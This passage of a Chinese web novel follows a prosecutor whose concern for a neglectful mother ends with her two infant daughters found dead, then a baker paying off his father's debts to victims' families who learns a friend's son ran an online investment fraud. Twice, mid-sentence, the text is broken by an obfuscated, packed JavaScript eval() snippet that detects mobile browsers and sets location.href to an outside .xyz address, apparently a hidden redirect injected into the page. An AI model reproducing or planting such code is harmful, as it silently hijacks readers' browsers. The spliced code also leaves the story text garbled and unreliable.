沈灵均抽完一根烟,上了车。他开车去了附近的超市,买了十箱米十袋面十桶油,婴儿尿不湿与成人尿不湿各十大包、婴儿奶粉和普通奶粉各十二桶。东西买的太多,他自己的车装不下,但超市表示愿意提供外送服务,帮他解决了麻烦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406218|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他带着超市的配送车来到了陆晓莉所在的林兴社区办公地。 为了提高群众的法律意识和法制观念,容州市的各级公检法部门基本上都和社区有合作,定期开展送法入社区的活动,进行法律宣传和法律问题的答疑。沈灵均也曾参加过几次这种活动,但他当时去的社区都是容州市内建设的比较优秀的社区,各有各的社区特色,比如有的社区是居民自治模范社区,有的社区是运动建身模范社区,有的是儿童友好模范社区……但它们都有一个共同点,有钱。有的社区是工作经费多,有的社区营业性收入高,有的社区收到了大量的企业捐赠……账上有资金,办公地也会气派体面些。 林兴社区作为一个老旧社区,显然没有什么财运,办公地是一个破败的三层小楼。 沈灵均让超市的工作人员把货卸在了一楼大堂,跟前台的工作人员道:“您好,我想给咱们社区捐点东西。” 负责接待的前台社工是个女生,长了一张娃娃脸,看上去也就二十出头。她被沈灵均的阵仗吓了一跳,愣了好一会,蹦出来一句“我去找我们书记”就噔噔噔的上楼去了。 过了一会,她就把林兴社区的社区书记王雪带了下来。 除了在超市购买的生活用品,沈灵均又给社区的慈善基金捐了两千块钱。因为王雪说想要拍照片发到社区公众号上,在她的强烈要求下,沈灵均配合王雪拍了几张照片。拍过照片,沈灵均说了几句场面话,随后道:“王书记,不知道您清不清楚,有个叫陆晓莉的年轻女孩,她住在文化路那片六层老楼那。” 沈灵均话音刚落,王雪就点头道:“我知道,前段时间,她对象因为杀人被抓了,就在他家被抓的,来了好几辆警车呢,我看到了!” “是,我就是负责她对象案子的检察官。她家里还有两个女儿,您清楚吗?” 王雪再次点头:“清楚清楚,我还上门给她家送过米面油呢!我去的那次,她家厨房什么都没有,盆朝天碗朝地的,跟遭了老鼠灾一样!屋子也不收拾,乱糟糟!小孩哭也不知道哄,往后的日子也不知道她要怎么过。” “是啊,我今天去,也担心她和两个孩子日后的生活。那两个孩子还小,希望您平时能关照一下她们一家。” 王雪满面笑容地应了下来:“一定一定,入户走访、服务居民本来就是我们社工的工作嘛!陆晓莉这种情况,还是我们社区的弱势人群!特殊群体!是我们的重点服务对象!我们肯定会重点关注的!” 离开林兴社区前,沈灵均和王雪交换了微信,拜托对方定期跟他沟通陆晓莉的近况。之后,沈灵均又跟院里的未检团队和司法社工们说了陆晓莉的情况,希望他们能多多关注陆晓莉一家。 王雪是个很尽职尽责的社区书记。之后几个月,通过王雪的口,沈灵均知道陆晓莉依旧对孩子鲜有关心,她并没有按照他的话给两个孩子的尿布疹上药,王雪二月份上门走访的时候,发现孩子屁股上的部分皮肤开始溃烂,而陆晓莉甚至没有发现,是王雪带着孩子去了医院。 因为心里对王雪的工作态度很是认可,沈灵均之后又给林兴社区的慈善基金捐了笔钱。 在和王雪见面的四个多月后,今年的六月十五日,沈灵均接到了王雪发来的微信。王雪说,两个孩子没了。 沈灵均当时第一反应是孩子丢了——他解读这句话的时候下意识地避开了‘没了’这两个字最可能的含义。但很快,王雪的下一条消息就打碎了他的幻想。 王雪发来一条六十秒的语音,声音里带着明显的哭腔:“沈检,我今天是来陆晓莉家入户走访,我在她家楼下碰到我们社区的民警,民警说他想通知陆晓莉来派出所接受定期的尿检,但他联系不上人,我们敲门也没人应,问邻居,邻居说她感觉陆晓莉很久没回过家了。” “最后我们找了锁匠,锁匠开了门之后,”王雪说到这,哽咽个不停:“大厅里……大厅没有人,卧室……门关着,关着,我们开了门,然后、然后……就看到两个孩子,一个在床上……一个在地上,没了,没了……没很久了……” 沈灵均听完这条语音,在椅子上呆坐了很久,随后开车去了陆晓莉的家。但那时,陆晓莉的家已经被封锁线围了起来,一时半会没法进去,而沈灵均也没有要求进入现场的身份与立场。于是,他只是站在楼下,不停地安慰精神崩溃的王雪。 后来,因为他和王雪之间的联系,瞿春光让他来市局取证言。取完证言后,瞿春光告诉他,他们的人最终是在一家小旅馆的床上逮到陆晓莉的。他们抓到她的时候,她正跟一个嫖/客服食忽悠悠。 据他们调查,五月六日,陆晓莉在网络上购买了封窗隔音帘,在到货后将隔音帘粘贴在了家中的窗上。在王雪上一次登门走访的五月十四日当天,在王雪离开后不久,陆晓莉关闭了家中所有的窗户,关上了卧室的门以及家中大门,离开了家,从此一去不回。 * 沈灵均愣了愣神,随后道:“我去。上午下午?哪个庭?” “上午九点,B207。” “……这个案子,你最后的量刑建议是什么?” 李凌云答道:“死立执。” “辩护律师那边什么意见?” “说起这个……陆晓莉那个律师是法援律师嘛,可她非常用心地对待了这个案子,自己调查了很多事……她甚至查出了陆晓莉的原籍地。她在这个案子上花费了很多时间和精力,书面的辩护意见也写得非常仔细。我能感觉到,她挺同情陆晓莉的。但是一码归一码。” “上上周吧,我们见了一面。她一开始跟我说这个罪名认定,她觉得罪名应该定过失杀人……这就扯了,你……你也清楚这案子的情况,对吧。陆晓莉一个精神正常的成年人,把两个不满一岁的亲生女儿扔在家里一个月,这能叫过失吗?我觉得陆晓莉是直接故意的故意杀人,都不是间接故意。律师这边主要是打感情牌吧,说陆晓莉成长经历复杂、成长过程中没有得到正确引导、没接受过教育什么的……她想争取死缓甚至无期。但我觉得法院采纳我量刑建议的可能性很大,毕竟这个案子性质还是蛮恶劣的。” 沈灵均点点头:“……是。” 4. 第 4 章 早上四点五十,戚玉衡蹑手蹑脚地从床上爬起来去卫生间洗漱。等他洗漱结束后,他的室友段俊也起了,他及时的把卫生间让了出来。段俊今年二十,比他小十岁,但已经有了五年的工龄,他初中毕业就出来打工了,现在在一家五星级酒店的后厨做帮工。 吃了一个昨天店里没卖完的贝果,戚玉衡就出门了。五点二十,他到了店。换上工作服后,他打开收银机和平板,开始打印外卖预订单和网络订单。打印单子的档口,于双他们几个员工也到了。 算上另一位老板牛明星,星星烘焙坊一共有六个烘焙师。原本只有五个人的,但是三个月前,牛明星备孕成功,为了养胎,她需要避免长时间的站立并保证睡眠。于是牛明星便不再进烘焙间工作,烘焙间人手不够,于是便又招了一个人进来。 早上是星星烘焙坊最忙的时候。店里的外卖单是九点半开始配送,九点半前他们必须将所有单品都做出至少一炉来,时间紧任务重。他们五个人之间的分工很明确,戚玉衡首先要做的就是调馅料,并在调好之后将它们装进裱花袋。或许是类似性的机械性工作干多了,戚玉衡早就已经掌握了一心三用的诀窍,手在动,耳在听,脑子在思考。 戚玉衡想:按照店里如今的盈利,他这个月可以还上欠汪美芬一家的钱,顺利的话,可以开始还欠齐为民一家的钱;他已经很久没去看乔爷爷乔奶奶了,下周或许可以找个时间给他们二老送点东西;马上就要到姚彤的生日了,他今年应该给她送些什么呢…… 戚玉衡正想着,忽然听到了自己的手机铃。他摘下手套,从围裙里掏出手机一看,眉头便下意识地微微一蹙。他走出店门,把手机放到离左耳五六公分的距离后,才接起电话。果然如他所料,手机对面的人声音尖利,声嘶力竭:“明天下午五点之前,你给我转一万块钱,你要是不转、或者把我给你打电话的事告诉思佳,我就去找你!” 戚玉衡用商量的口吻说:“邓阿姨,我给您转五千,您看行不行?我现在就转给您。” 邓淑丽很快大喊了一声不行。戚玉衡道:“阿姨,您也知道的,我一直都在还钱,您这边给了,其他家属那边暂时就还不上了,您体谅一下……求您了行吗?” “你有什么好不容易的?你现在日子过得多好!自己开了个店,自己当老板,你日子有什么好不容易的?你再看看我,我现在过得什么日子?你好意思说自己过得不容易吗?!你怎么这么不要脸?你跟你那个杀人犯爹一样不要脸!” 戚玉衡等她骂完,才道:“阿姨,我不是那个意思。我的意思是说……我实在没办法就给您一个人钱,另外的五千,我下个月给您可以吗?” 邓淑丽喘了几口长气,沉默了一会,说:“五千!少一分钱都不行!” “好。” 给邓淑丽转过钱,戚玉衡回到烘焙间时,烘焙间里的四个人正凑在一块聊天。 “聊什么呢?” “啊,”于双指着许嘉璐的手机,“嘉璐给我们看她的新墙头!一个韩国的小帅哥!” 杨金泽显然是已经看过了,耸了耸肩,转头继续工作去了,胡亦豪则有些不屑地说:“你觉得他帅?什么审美啊,妖里妖气的,还不如戚哥好看呢。” 许嘉璐有些不满地撇撇嘴,张开嘴想反驳,但她看了一眼戚玉衡,心里的底气一下子去了一半,到嘴的话打了个弯:“我就觉得他帅啊!当然了,戚哥也好看,但我们戚哥不是一般人啊,戚哥的颜值出道都没问题了。” “可不是,”于双煞有其事地点头,“我来店里面试的时候,戚哥给我吓一跳,我以为他是哪个我不熟悉的明星呢。也就是现在没有选秀节目了,不然我们戚哥肯定高位出道!” 戚玉衡笑了,他一边戴手套一边道:“你们别这么夸张好不好?我就是普通长相啊。而且什么选秀节目会让一个三十岁的人进去选秀啊?” 于双一拍手:“怎么不能!这还可以是你的营销重点啊!到时候粉丝文案就这么写,‘令人惊叹的顶级童颜 温柔嗓音实力担当性格超级好的元气甜豆我来看看是哪个颜控还没入坑’!” 许嘉璐双手比大拇指:“一看就是老追星人了!” 戚玉衡笑个不停:“顶级童颜、元气甜豆,这都什么词……我鸡皮疙瘩都要起来了!” 于双走到戚玉衡身边,微微踮起脚,观察戚玉衡的脸:“但戚哥,你真的不用任何护肤品吗?” “你已经第三次问这个问题了,于又又同学,我发誓我真的不用。” “可恶,”于双把面团从厨师机里拿出来,摔在操作台上:“问一次我生气一次!这就是传说中的基因彩票吗?” 许嘉璐问:“戚哥,你长得是像爸爸还是像妈妈啊?” 戚玉衡还没说话,胡亦豪就道:“肯定是妈妈吧,毕竟戚哥长得这么,”胡亦豪看了戚玉衡一眼,意味不明地笑了一下,没再说出任何形容词:“不近看都分不清男女。” 胡亦豪背对着于双,于双于是毫无顾忌地翻了个白眼:“是啊,戚哥有一种超越性别的美。” 戚玉衡继续揉着馅料:“于又又,别让我的鸡皮疙瘩再增殖了……我确实是像我妈多一点。” 戚玉衡猜,胡亦豪未说出的那个形容词,是“娘”。虽说“娘”字本身是一个称呼、一个中性字,但是很多人都把它用作一个形容词,而他们在使用它的时候,话里总是或多或少带着贬损的意味。娘、娘炮,这两个词,戚玉衡在他的青春期听过无数次。十几岁的他还会因为这两个词沮丧和难过,但是现在的他已经完全不会了。 早上九点二十,最后一炉碱水包出了炉,牛明星也在这个时候来到了店里。 牛明星比戚玉衡大三岁,是星星烘焙坊的大姐大,戚玉衡等人都叫她星姐——因为她一直很嫌弃自己的姓氏,觉得被叫‘牛姐’不好听。 虽说不再承担烘焙工作,但店里剩余的杂事依旧不少,牛明星的工作并不轻松。换过衣服后,打包好第一批外卖订单,牛明星便开始统计网络订单。 现在的星星烘焙坊,在丰山区拥有一个一百平米的店面,店里有两排面包展示柜,包括两名老板在内,拥有六名员工,开展了外卖业务。但五年前,星星烘焙坊刚起步的时候,戚玉衡和牛明星的租金预算只够他们在门市租金最为低廉的丰山区租一个位置偏僻、三十平的门市,三十平的空间,去掉卫生间和更衣区的面积,剩下的可利用空间只做烘焙间都算不上宽敞。 在犹豫思考了一个月之后,戚玉衡牛明星最后租下了那个三十平的门市房,只在店门口做了个小吧台,将剩下的空间一分为二,一个烘焙间和一个裱花间。他们这样设计,是因为他们决定放弃线下售卖的模式,只做司康欧包这些保质期相对较长的点心,专攻线上。五年前,网络购物虽然已经很发达,但依靠电商平台创业依旧是件充满风险的事,更别说戚玉衡和牛明星当时都很穷,戚玉衡身上还有巨额债务。 如今回头想想,戚玉衡都佩服自己当年的勇气。当时他和牛明星砸锅卖铁才付了店铺的资金和装修钱,买了第一批原料后,两个人银行卡里剩下的钱加起来都不到一千。店铺开业之后,两个人每天只做少量样品放到吧台售卖,剩下的时间,牛明星负责录视频、运营各个网络平台上的账号,戚玉衡则出门打工赚两个人的生活费。 开店第一个月,不算房租,他们赔了一千多块——一半是水电费,一半原料费。尽管他们每天只做很少的样品,但是因为地理位置偏僻,很少有人来店里选购,每天的样品最终的归宿要么是两个人的肚子要么是垃圾桶。那段时间他们两个人早上司康、中午欧包、晚上贝果,简直吃出了工伤。 开店第二个月,星星烘焙坊依旧是负营收。牛明星入驻了几个外卖平台,但一个月只卖出去了十一单。 开店第三个月,还是没有盈利。牛明星情绪崩溃了好几次,有的时候上一秒还在好好揉着面团,下一秒就哭了起来。戚玉衡虽然从未在牛明星面前哭过,但是那会他整宿整宿的睡不着觉。他们两个人深感危机,思来想去,最后印了一沓宣传卡,两个人一人一半,去店面附近的几个居民区发,打算在附近先打出知名度。 开店第四个月,他们在居民区发小广告的宣传方法奏效了,收支勉强得到了平衡——在不计算房租的情况下。 开店第五、六个月的营收情况和第四个月的营收情况差不多。 开店第七个月,或许是触发了什么关键词、或许是官方随手给了他们一波曝光,他们店铺账号在小红书上的一篇笔记突然有了近一千赞、六万浏览量。于是这个月他们收获了开业以来最多的网络订单,有两百多单。这个月,算上房租,他们赔了一千。 开店第八个月,第一波顾客的好评为他们吸引来了更多的顾客,他们的网络订单增多了不少。这个月月末,戚玉衡算账的时候惊喜地发现,在开业后的第八月,星星烘焙坊第一次盈利了。当天晚上,戚玉衡破天荒地没有再去兼职,和牛明星奢侈地吃了顿火锅。 之后,星星烘焙的网络订单不断地增长,但开店的第一年,星星烘焙依旧只是勉强的达到了收支平衡。但第二年的境况就好了不少,这一年的后半年,戚玉衡已经没有时间出去兼职,他和牛明星每天都要工作近十八个小时,一天内有超过十二小时都待在烘焙间里,做面包做到手臂抽筋。 开店第三年,因为盈利增多、工作实在繁重到两个人难以负荷,星星烘焙迎来了它的第三个烘焙师,许嘉璐。 开店第四年,牛明星的表弟胡亦豪开始在星星烘焙帮忙。这一年年末,在店面租期到期的时候,戚玉衡和牛明星没有选择续租,而是在丰山区最繁华的地方租了一个店面,同时又为店里招了一个烘焙师。 开业第五年,星星烘焙换了新的店址,终于有了大堂和展示柜,有了更大的烘焙间和裱花间,商品的种类增多,而因为牛明星的怀孕,店里又来了新人,更热闹了。如果以这几个月的收入为基准来计算,与去年相比,今年戚玉衡的收入大约可以增加百分之五十,这意味着他朝着还清债务这个目标又迈了一大步。 没有特殊情况的话,早上九点半过后,烘焙师们上午就没有别的事了。而牛明星会在这个时间直播,一三五七在抖音,二四六在小红书。他们刚开始做直播的时候,牛明星想让戚玉衡来做主播,因为戚玉衡长得比她这个明星还明星,但戚玉衡一看镜头就紧张,四肢僵硬,说话也结巴,根本没办法介绍产品,牛明星最后 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戚玉衡下意识地挑了挑眉:“哇哦。” “这段时间我和又又相处,能看得出来,她是个懂礼貌、认真仔细的人,但是我不进烘焙间嘛,和她相处的时间没有你多。你怎么看又又?她家庭情况你了解吗?” “我也觉得又又是个很好的姑娘。她乐观开朗,幽默风趣,是烘焙间里的开心果。她的家庭情况我也没听她具体说过。” “那你觉得,我这红线,能拉吗?” 胡亦豪是牛明星的表弟,初中毕业之后就一直在家里务农。三年前刚来到星星烘焙坊的时候,他对烘焙一窍不通,但是上手的却很快,学了一个月之后就干得有模有样了。在戚玉衡看来,他身上有不少优点:勤劳、能吃苦、眼里有活,从来不拈轻怕重,每次店里进的原料到了,他都抢着去搬去拿——这方面,杨金泽远不如他。 但相应的,他也有不少缺点:他不会看人脸色,总是针对许嘉璐和于双两个女生开一些关于她们相貌、体重、年龄上的玩笑——她们两个并不喜欢的玩笑;过度的直率有时让他显得口无遮拦,而他对此毫无所觉。以戚玉衡的观察来看,他的这些缺点让于双对他的观感并不太好。 戚玉衡实话实说道:“我不建议拉。我感觉又又对亦豪不来电,甚至……有点负面的观感,亦豪总是和两个女孩子唱反调。如果他真的喜欢又又,让他自己试着追吧。你是老板,你牵这个红线,肯定会给又又增加很多心理负担,到时候,如果又又最终拒绝了亦豪,你们三个心里肯定都不舒服,又又也八成不会再在店里干了。” 牛明星点点头:“你说得对。” 快递点七点半来店里取的快递,送走快递员后,戚玉衡和牛明星就闭了店,戚玉衡也正式开始了他的夜晚兼职。 完成两单后,时间差不多九点,戚玉衡觉得胃饿得有点难受,于是暂停接单,在路边随便找了家小店吃了份盖浇饭。吃完饭,他刚打开手机就被派了一单,地址就在附近,是一家人均消费很高的高档饭店。 骑车到那饭店附近,戚玉衡看见一个人站在饭店门口的台阶上,看那样子就像是在等代驾或是等车。他穿了一身黑,远远望去,几乎和夜色融为一体。到了饭店门口,戚玉衡把车停到路边,朝那个人走去,随着距离的拉近,戚玉衡发现,这人长得很高——跟他差不多,说甚至比他还高一些。他虽然站姿随意,但体态很好,腰背挺得笔直,肩膀舒展,而也不知道是衣服版型的修饰还是这人身材条件本就极好,他头肩比非常优越,宽肩小头,优秀的体态和身材让这人光是站在那就给人一种优雅潇洒之感。 走到近前,借着饭店大堂的灯光,戚玉衡看清了他的脸。 这人看着大约二十六七岁的样子,非常英俊。他有着亚洲人很少见的深邃轮廓,脸型很是流畅,下颚线明晰地划出一个圆润的钝角,高鼻深目,长眉黑浓,眼型狭长,嘴唇上薄而下厚。单独看就已经出类拔萃的五官,合在一起组成了一张在戚玉衡看来天下无双的脸。在戚玉衡见过的男性里,他长得是最好的——戚玉衡在大型商场里偶遇过两次参加品牌活动的偶像男星,但那些男星都不如眼前的这个人长得帅气。他的相貌与戚玉衡熟知的那些大明星相比也不遑多让。 戚玉衡想,真应该让于双和许嘉璐来看看,这才是能出道的颜值啊!很快,戚玉衡又想,这可能就是个明星,毕竟他不关注娱乐新闻,认不出来也正常。 在这个人身上,戚玉衡深切感受到了“英气逼人”四个字的含义,他的长相自带攻击性和一种冷峻桀骜的气质,让戚玉衡不受控的紧张起来。戚玉衡不着痕迹地做了次深呼吸,才朝他打招呼。 男人把钥匙交给他,朝他笑了笑——这一笑让他身上的气质立刻变得温和了许多,这让戚玉衡放松了一点。 这位客人的座驾是奥迪Q7,行程终点是市中心的一个高档住宅区,位于全市房价最高的地段,戚玉衡就算累死累活一辈子,赚的钱也没法在这个小区买一个面积最小的房子。这让戚玉衡心下对这位客人是明星的猜测又坚定了一些。 送完这位英俊的客人,戚玉衡又接了几单,一直干到凌晨十二点半,他才往家赶去。 5. 第 5 章 戚玉衡回到家时已经接近凌晨一点,他洗漱一番就上了床,正当他打算摘助听器的时候,隔壁房间忽然传来女生的喊声:“我都说了我只是去陪人唱歌!那是正经的地方!” 很快,一个男声吼道:“你说这些谁信?那是正经的地方吗?你就是去坐/台了吧!” 女生尖声骂了几句脏话,之后两个人便没再大声喊叫,但房间里却传来了家具碰撞的声音,两个房间之间的墙都被撞出了闷响。已经睡着了的段俊这时也被吵醒了,从上铺探下头,语气非常不耐地说:“吵吵吵,三天一小吵五天一大吵,这都几点了,还吵!” 戚玉衡现在住的这个房子实际使用面积大约在六十平,二室一厅一卫一厨,一共住了四个人。戚玉衡和段俊在次卧住上下铺,主卧则住了一对情侣,男的叫孔正文,二十二岁,现在在通口工业园的一家电子厂做工人,女的叫高晶,二十岁,在一家理发店做染发工。 因为地理位置偏僻,戚玉衡租住的这个小区整体房价偏低,四千五就能整租到三室一厅。孔正文和高晶住的主卧一个月租金一千五,戚玉衡住的次卧下铺一个月租金八百五,段俊住的上铺租金更便宜些,一个月只要七百五。 戚玉衡已经在这住了三年。因为会在这租房的人要么是贫穷打工仔、要么是通口工业园的务工人员,人员流动性很强,所以这三年间他已经换过很多任室友。段俊是半年前成为他室友的,而孔正文和高晶是三个月前搬进来的。 戚玉衡每天起得比鸡早睡得比狗晚,和孔正文高晶很少碰面,对他们两个并不了解。但据段俊说,这对年轻情侣的感情状态相当难评,经常吵架,但吵完架以后依旧如胶似漆。房间隔音不怎么好,段俊曾几次听到他们进行夜间运动的声音。 戚玉衡今天是第一次撞见他们吵架,但听现在的动静,他们似乎不吵架、改打架了。乒乒乓乓叮叮咣咣,隔壁传来的声音不绝于耳。戚玉衡短暂犹豫了一会,翻身下了床,敲了敲隔壁的房门:“你们能安静一点吗?” 戚玉衡想,虽然小情侣打架是他们自己的内部矛盾,但他们闹出来这么大动静,实在扰民。而且两个人若是互殴或是女方打男方倒还好,万一是男生单方面对女生施暴,男生力气大,要是下手没个轻重很容易打出大问题,他这样也能让对方收敛些。 屋内的声音停了。过了一会,屋内传出高晶的声音:“不好意思啊,打扰你们睡觉了。” 她声音听着挺正常的,戚玉衡于是放心了些:“别再打了。” 高晶再一次道歉道:“真不好意思,我们不会再出声了。” 之后隔壁房间真的就彻底安静了下来。 第二天起床之后,戚玉衡打开手机,发现代驾软件给他发了条通知,提示他收到了一条好评。看好评的内容,对方是昨天那位帅哥客人。评价很长,一看就是用心写的。 这条好评让戚玉衡心情很好地开始了一天的工作。 上午干完活,烘焙师们坐在烘焙间里闲聊。于双说起最近热播的一个电视剧。这个电视剧似乎很火,除了戚玉衡,其他四个人都看过。他们在讨论剧情的时候,戚玉衡拿出手机搜了一下电视剧的名字,正看着百科里的剧情简介,就听于双道:“这个剧的服化道做的好好,本来我get不到范昱哲的颜的,但在这个剧里他好帅啊。” 许嘉璐点点头:“对对,服化道做得好,女角色的衣服都特别漂亮。我觉得男二段赟也很帅,而且他身材还特好,他前两天还在微博晒自己腹肌来着。” 戚玉衡闻言,下拉页面,去看演职人员表。男主男二的确都很帅,但是戚玉衡觉得他们都不如昨天晚上他遇到的那位客人帅。戚玉衡问:“又又嘉璐,你们知不知道一个男明星,他身高应该和我差不多,甚至可能比我还高,长得特别帅,剑眉星目,鼻梁很高,脸特别立体……总之特别帅的一个男明星。” 于双长长地嗯了一声:“嗯——我想不到啊,身高这一个条件就缩圈了,一八五以上的男明星、还是那种立体建模脸……” 许嘉璐把手机拿给戚玉衡看:“长这样吗?” 戚玉衡摇了摇头。 于双看了一眼许嘉璐的手机屏,在自己的手机里找出一张图片让戚玉衡看:“是他吗?” 戚玉衡又摇摇头。 于双和许嘉璐面面相觑了一会,说:“戚哥,你是在哪见到这个明星的?广告吗?” “不是,是我昨天晚上在街上碰巧遇到的,他长得很帅,我就以为他是明星……但也有可能不是。” 于双摸了摸下巴:“所以身高是戚哥你对比过之后实打实的身高了?主要是娱乐圈实打实一八五以上的男明星确实不多啊,给你看了两个你又说不是,难不成是什么十八线吗?” 牛明星在这个时候走进了烘焙间:“什么十八线?明星吗?” 于双点点头:“我们在说戚哥昨天遇到的帅哥。戚哥说他特别帅,像是明星,但我们按照他的形容给他看了照片,戚哥都说不是,我就说他可能是某个十八线小明星。” 牛明星看向戚玉衡:“帅哥?有多帅?” 许嘉璐在一旁补充道:“有你帅吗哥?” 戚玉衡毫不犹豫、斩钉截铁地道:“他比我帅!” “诶!”许嘉璐十分惊讶:“真不是在谦虚吗戚哥?你有点自知之明啊,在我眼里你就是可以出道的美貌了。” 戚玉衡表情很是认真:“真的!他比我帅多了,真的特别特别帅!” “什么?”于双两手小幅度地拍着操作台:“啊啊啊啊啊啊,我好奇死了!好奇死了!!!戚哥你没有拍照片吗?” “没有。” “好奇死了好奇死了好奇死了,能让戚哥这么说的帅哥是有多帅啊!!” 牛明星也无比好奇,好奇死了,而她的这种好奇背后还有着不为店里其他人所知的内情——戚玉衡是个同性恋。这些年来,戚玉衡一直忙于还债,根本没有时间和精力去谈恋爱,他的感情经历没有任何可供八卦的空间。牛明星曾问过他,他的理想型是什么样子的,戚玉衡也说不出个所以然。牛明星于是退而求其次,问他在外貌上的审美,戚玉衡依旧说得模棱两可。 但现在,一个让戚玉衡用“特别帅”形容的男人出现了,她怎么可能不好奇!牛明星急得抓心挠肝,恨不得立刻把戚玉衡拖入一个密闭空间好好逼问一番。就在于双和许嘉璐向戚玉衡询问更多他和那个神秘帅哥的相遇细节时,戚玉衡的手机响了,戚玉衡便去室外接电话了。 给戚玉衡打电话的人叫何秀红,是戚玉衡读高中时的邻居,她和丈夫王晖当时在容州开了一家小小的早餐店。夫妻两人很好,戚鸿出事之后,是他们两个收留了无家可归的戚玉衡,让他不至于流落街头。 不仅如此,他们还让他在店里帮忙,给他开工资,戚玉衡做中式面点的手艺都是跟他们夫妻俩学的。戚玉衡内心对他们很是感恩,夫妻俩还在容州的时候,逢年过节,他都会带些礼物去他们家看看。 七年前,何秀红和王晖的儿子王子睿要结婚,两人便把全部积蓄拿了出来,给他们的儿子在容州交了个首付。之后,他们说年纪大了,实在有些干不动了,两个人转让了店面,退休回了老家。这之后戚玉衡与他们二人便没有再见过,但平日里他们会通过电话微信联系。 戚玉衡将电话接了起来:“何姨。” “小戚啊,你……你最近怎么样?” “我挺好的,”戚玉衡觉得何秀红的声音有些不对劲:“阿姨,您和叔叔过得还好吗?” “啊,我和你叔……” 何秀红说到这,突然哭了起来:“小戚,你子睿哥被抓了!” 在何秀红断断续续地叙述中,戚玉衡明白了事情的原委。 何秀红夫妻的儿子王子睿大学读的是计算机专业,十二年前他大学毕业的时候,正是就业市场上计算机人才缺口最大的时候,因此王子睿顺利地进入了一家大型互联网企业。 工作后没多久,王子睿就结婚了。但他的婚姻并不顺意,在结婚两年后便离婚了,他和前妻没有生育孩子,之后一直没有再婚。虽然情场失意,但他的事业似乎一直发展的很不错,戚玉衡每次和何秀红夫妻俩联系的时候,问起王子睿的近况,夫妻俩的语气都满是自豪。这个优秀的儿子,一直是何秀红夫妻俩的骄傲。 但在昨天下午,王晖接到了容州市定坪区公安局打来的电话,说王子睿涉嫌诈骗,已经依法被刑事拘留,要给他们寄送拘留通知书。 王晖一开始还以为自己接到了骗子的电话,直接把电话给挂了,他一点也不相信电话那头那人说的话——他儿子怎么可能被抓了呢?警方很快又给他打了一个电话,但王晖接都没接,直接把电话给挂了。无奈之下,警方又给何秀红打了电话。一番解释之后,王晖和何秀红才相信了他们的话。 从警察口中,王辉夫妻得知,儿子在一年前就已经从公司离职,而这件在他们看来天一样大的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406220|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们完全不知道。警察说,王子睿在网上骗了别人几百万,警察跟王晖夫妻大致说了王子睿行骗的过程,但何秀红是个大字不识一个的文盲,王晖也不过小学文化,两人对警察说的话一知半解,听得糊里糊涂。 挂断电话后,夫妻俩立刻收拾了行李,今天一早便从老家出发赶往容州,现在他们就在从磐水开往容州的火车上。 他们两个在之前和警察的通话中吃到了没文化的亏,便想找个“明白人”陪他们去公安局了解情况,想来想去,最后打电话求助于他。戚玉衡听到王子睿被刑拘的这个消息心中都满是震惊,王晖夫妻俩内心此时想必更为动荡。 他连忙安抚何秀红道:“何姨,您和王叔先别急,你们两个几点的火车?到哪个站?我去接你们,我们下午先去公安局了解情况,之后怎么办我们再商量……您别哭……您别急……我们可以请个律师……” 挂了电话后,戚玉衡边往屋里走边解身上的围裙,牛明星本来想把人拦住问问那个神秘帅哥的事的,但看到戚玉衡的动作,她觉得有些奇怪:“你摘围裙干什么?你有事要走啊?” 戚玉衡点点头:“对。我有些事,时间有点赶,具体情况之后再跟你详说,我先走了。对不起啊。” 牛明星看戚玉衡脸色严肃,也不好把心里的问题问出口了:“说什么对不起啊,你也是老板啊,我们自己开店当老板,还不是想什么时候下班就什么时候下班?” 戚玉衡有些勉强地朝牛明星笑了笑,又去跟其他员工打了招呼——他突然旷工,他们下午要做的工作就多了。 中午的时候,戚玉衡在容州站接到了王晖夫妻俩,三个人在路边的小馆子里草草地吃了个中饭。随后,他们便直奔容州市定坪区公安局。直到警察把拘留通知书送到他们夫妻二人手里,何秀红夫妻才终于彻底相信了警察的话,何秀红的情绪登时就崩溃了,拿着这张她看不懂的文书默默地掉眼泪。 在警察的解释下,戚玉衡明白了王子睿犯罪的始末。差不多十个多月前,王子睿利用自己的技术搭建了一个虚假的投资平台,随后,他与他的同伙利用购买来的“黑卡”注册了数个微信,建立了多个投资群,最终引流至他们团伙建立的投资课直播间,以投资顾问的身份劝导被害人购买虚假投资平台的虚拟货币,在最开始时给予被害人一些返利,诱使他们加大投入,随即便拉黑被害人,最终用收购来的皮包公司的对公账号将骗来的资金进行洗白。 据警察说,王子睿及其团伙诈骗得来的钱款总额还在统计当中,但粗略估计已经超过了六百万。 听到这个数字,戚玉衡脊背一阵发寒。 何秀红用颤抖的声音道:“那警察同志,我们现在要是想见我儿子,得去哪啊?去哪个看守所啊?” 接待他们的两位民警中年纪较大的一位说:“王子睿现在就羁押在定坪区看守所,但你们现在没法见他,案件宣判前家属都没法接触嫌疑人。你们可以委托律师会见他,也可以给他送衣物,还可以给他汇钱……怎么汇钱、以及对送进去的衣物的要求,你们可以去看守所了解,我们也不太清楚。” 这位民警说完,看他们没有再发问的意思,道:“你们是外地人吗?是外地人的话你们留个地址,王子睿过段时间应该就会被批捕了,我们把逮捕通知书给你们寄送过去,是本地人的话,可以自己来拿。” 